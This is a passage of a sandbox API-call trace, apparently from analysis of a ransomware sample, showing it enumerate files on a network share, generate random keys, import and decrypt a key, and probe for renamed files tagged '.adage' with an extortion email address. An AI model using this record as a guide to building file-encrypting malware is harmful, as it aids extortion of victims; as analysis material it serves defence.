"\\\\192.168.0.1\\documents\\ydacld.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.161] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0050.161] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\z3wsaUYVG.ppt" (normalized: "\\\\192.168.0.1\\documents\\z3wsauyvg.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0050.183] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=25708) returned 1 [0050.183] CloseHandle (hObject=0x14c) returned 1 [0050.183] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\z3wsaUYVG.ppt" (normalized: "\\\\192.168.0.1\\documents\\z3wsauyvg.ppt")) returned 0x80 [0050.183] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\z3wsaUYVG.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\z3wsauyvg.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.183] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\z3wsaUYVG.ppt" (normalized: "\\\\192.168.0.1\\documents\\z3wsauyvg.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.600] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0051.600] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pEa7gL.ppt" (normalized: "\\\\192.168.0.1\\documents\\pea7gl.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0051.934] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=53002) returned 1 [0051.935] CloseHandle (hObject=0x14c) returned 1 [0051.935] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pEa7gL.ppt" (normalized: "\\\\192.168.0.1\\documents\\pea7gl.ppt")) returned 0x80 [0051.935] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pEa7gL.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\pea7gl.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0051.935] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pEa7gL.ppt" (normalized: "\\\\192.168.0.1\\documents\\pea7gl.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.355] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0052.355] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\R7Kb10e3K.ppt" (normalized: "\\\\192.168.0.1\\documents\\r7kb10e3k.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0053.172] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=99615) returned 1 [0053.172] CloseHandle (hObject=0x14c) returned 1 [0053.172] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\R7Kb10e3K.ppt" (normalized: "\\\\192.168.0.1\\documents\\r7kb10e3k.ppt")) returned 0x80 [0053.173] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\R7Kb10e3K.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\r7kb10e3k.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0053.769] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\R7Kb10e3K.ppt" (normalized: "\\\\192.168.0.1\\documents\\r7kb10e3k.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.227] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0054.227] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0O40RGXx.ods" (normalized: "\\\\192.168.0.1\\documents\\0o40rgxx.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0054.401] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=21469) returned 1 [0054.401] CloseHandle (hObject=0x148) returned 1 [0054.402] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0O40RGXx.ods" (normalized: "\\\\192.168.0.1\\documents\\0o40rgxx.ods")) returned 0x80 [0054.402] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0O40RGXx.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\0o40rgxx.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.662] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0O40RGXx.ods" (normalized: "\\\\192.168.0.1\\documents\\0o40rgxx.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.099] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0055.099] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\b2RYQsRYMuiCI5kbmBC.avi" (normalized: "\\\\192.168.0.1\\documents\\b2ryqsrymuici5kbmbc.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0055.240] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=53713) returned 1 [0055.240] CloseHandle (hObject=0x148) returned 1 [0055.240] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\b2RYQsRYMuiCI5kbmBC.avi" (normalized: "\\\\192.168.0.1\\documents\\b2ryqsrymuici5kbmbc.avi")) returned 0x80 [0055.443] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\b2RYQsRYMuiCI5kbmBC.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\b2ryqsrymuici5kbmbc.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.693] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\b2RYQsRYMuiCI5kbmBC.avi" (normalized: "\\\\192.168.0.1\\documents\\b2ryqsrymuici5kbmbc.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.391] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0057.391] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ybbGvlCczfIkCAzvoOo.ods" (normalized: "\\\\192.168.0.1\\documents\\ybbgvlcczfikcazvooo.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0057.588] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=33463) returned 1 [0057.588] CloseHandle (hObject=0x148) returned 1 [0057.588] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ybbGvlCczfIkCAzvoOo.ods" (normalized: "\\\\192.168.0.1\\documents\\ybbgvlcczfikcazvooo.ods")) returned 0x80 [0057.589] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ybbGvlCczfIkCAzvoOo.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ybbgvlcczfikcazvooo.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.859] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ybbGvlCczfIkCAzvoOo.ods" (normalized: "\\\\192.168.0.1\\documents\\ybbgvlcczfikcazvooo.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.236] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0058.236] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\oHbaMQLYen9icdKg.docx" (normalized: "\\\\192.168.0.1\\documents\\ohbamqlyen9icdkg.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0058.452] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=60330) returned 1 [0058.452] CloseHandle (hObject=0x148) returned 1 [0058.452] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\oHbaMQLYen9icdKg.docx" (normalized: "\\\\192.168.0.1\\documents\\ohbamqlyen9icdkg.docx")) returned 0x80 [0058.453] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\oHbaMQLYen9icdKg.docx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ohbamqlyen9icdkg.docx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.629] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\oHbaMQLYen9icdKg.docx" (normalized: "\\\\192.168.0.1\\documents\\ohbamqlyen9icdkg.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.145] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0059.145] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XhyKggx8pHn779f8mb.swf" (normalized: "\\\\192.168.0.1\\documents\\xhykggx8phn779f8mb.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0059.534] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=26592) returned 1 [0059.547] CloseHandle (hObject=0x148) returned 1 [0059.552] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XhyKggx8pHn779f8mb.swf" (normalized: "\\\\192.168.0.1\\documents\\xhykggx8phn779f8mb.swf")) returned 0x80 [0059.602] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XhyKggx8pHn779f8mb.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\xhykggx8phn779f8mb.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.634] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XhyKggx8pHn779f8mb.swf" (normalized: "\\\\192.168.0.1\\documents\\xhykggx8phn779f8mb.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.535] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0060.535] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gSQ2YGk9scQfUsGUcoij.wav" (normalized: "\\\\192.168.0.1\\documents\\gsq2ygk9scqfusgucoij.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0060.716] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=43120) returned 1 [0060.716] CloseHandle (hObject=0x148) returned 1 [0060.716] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gSQ2YGk9scQfUsGUcoij.wav" (normalized: "\\\\192.168.0.1\\documents\\gsq2ygk9scqfusgucoij.wav")) returned 0x80 [0060.717] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gSQ2YGk9scQfUsGUcoij.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\gsq2ygk9scqfusgucoij.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.843] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gSQ2YGk9scQfUsGUcoij.wav" (normalized: "\\\\192.168.0.1\\documents\\gsq2ygk9scqfusgucoij.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.059] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0061.059] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3E3mNRHtjqDkD.docx" (normalized: "\\\\192.168.0.1\\documents\\3e3mnrhtjqdkd.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0061.175] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=51564) returned 1 [0061.175] CloseHandle (hObject=0x148) returned 1 [0061.175] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3E3mNRHtjqDkD.docx" (normalized: "\\\\192.168.0.1\\documents\\3e3mnrhtjqdkd.docx")) returned 0x80 [0061.175] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3E3mNRHtjqDkD.docx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\3e3mnrhtjqdkd.docx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.384] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3E3mNRHtjqDkD.docx" (normalized: "\\\\192.168.0.1\\documents\\3e3mnrhtjqdkd.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.927] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0061.927] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nrhycV54UDwXeOVHbaY.ppt" (normalized: "\\\\192.168.0.1\\documents\\nrhycv54udwxeovhbay.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0062.045] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=86452) returned 1 [0062.045] CloseHandle (hObject=0x148) returned 1 [0062.045] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nrhycV54UDwXeOVHbaY.ppt" (normalized: "\\\\192.168.0.1\\documents\\nrhycv54udwxeovhbay.ppt")) returned 0x80 [0062.046] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nrhycV54UDwXeOVHbaY.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nrhycv54udwxeovhbay.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.155] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nrhycV54UDwXeOVHbaY.ppt" (normalized: "\\\\192.168.0.1\\documents\\nrhycv54udwxeovhbay.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.386] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0063.575] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Ety66.avi" (normalized: "\\\\192.168.0.1\\documents\\ety66.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0063.739] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=83437) returned 1 [0063.739] CloseHandle (hObject=0x148) returned 1 [0063.739] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Ety66.avi" (normalized: "\\\\192.168.0.1\\documents\\ety66.avi")) returned 0x80 [0063.740] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Ety66.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ety66.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.806] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Ety66.avi" (normalized: "\\\\192.168.0.1\\documents\\ety66.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.005] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0064.005] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\quWT4PWu.png" (normalized: "\\\\192.168.0.1\\documents\\quwt4pwu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0064.208] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=98127) returned 1 [0064.208] CloseHandle (hObject=0x148) returned 1 [0064.208] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\quWT4PWu.png" (normalized: "\\\\192.168.0.1\\documents\\quwt4pwu.png")) returned 0x80 [0064.208] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\quWT4PWu.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\quwt4pwu.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.211] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\quWT4PWu.png" (normalized: "\\\\192.168.0.1\\documents\\quwt4pwu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.631] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0064.631] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\uKTB42S.swf" (normalized: "\\\\192.168.0.1\\documents\\uktb42s.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0064.730] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=81118) returned 1 [0064.730] CloseHandle (hObject=0x148) returned 1 [0064.730] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\uKTB42S.swf" (normalized: "\\\\192.168.0.1\\documents\\uktb42s.swf")) returned 0x80 [0064.730] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\uKTB42S.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\uktb42s.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.899] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\uKTB42S.swf" (normalized: "\\\\192.168.0.1\\documents\\uktb42s.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.418] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0067.418] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\TRokYgqilEOKg8Z1jJGf.xlsx" (normalized: "\\\\192.168.0.1\\documents\\trokygqileokg8z1jjgf.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0067.726] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=78469) returned 1 [0067.729] CloseHandle (hObject=0x148) returned 1 [0067.729] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\TRokYgqilEOKg8Z1jJGf.xlsx" (normalized: "\\\\192.168.0.1\\documents\\trokygqileokg8z1jjgf.xlsx")) returned 0x80 [0067.749] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\TRokYgqilEOKg8Z1jJGf.xlsx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\trokygqileokg8z1jjgf.xlsx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) Thread: id = 16 os_tid = 0xf08 [0037.251] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x3bffa8 [0037.251] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x3cffb0 [0037.252] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x28) returned 0xb05870 [0037.252] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x110102) returned 0x3110020 [0037.252] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x50) returned 0xb058a0 [0037.252] CryptImportKey (in: hProv=0x735018, pbData=0x2c4fe70*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2c4fed8 | out: phKey=0x2c4fed8*=0x73d5a8) returned 1 [0037.252] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x2c4fec0, dwFlags=0x0) returned 1 [0037.252] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb058a0, pdwDataLen=0x2c4fe8c | out: pbData=0xb058a0, pdwDataLen=0x2c4fe8c) returned 1 [0037.252] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0037.252] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0037.253] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7515d620 [0037.253] Wow64DisableWow64FsRedirection (in: OldValue=0x2c4ff28 | out: OldValue=0x2c4ff28*=0x0) returned 1 [0037.253] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058a0 | out: hHeap=0xb00000) returned 1 [0037.253] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.253] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.254] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.254] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.254] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.254] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.254] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.254] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.254] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.254] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.254] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.254] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.254] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.254] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.255] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.255] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.255] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.255] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.255] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.255] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.255] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.255] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.255] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.255] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.255] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.255] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.256] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 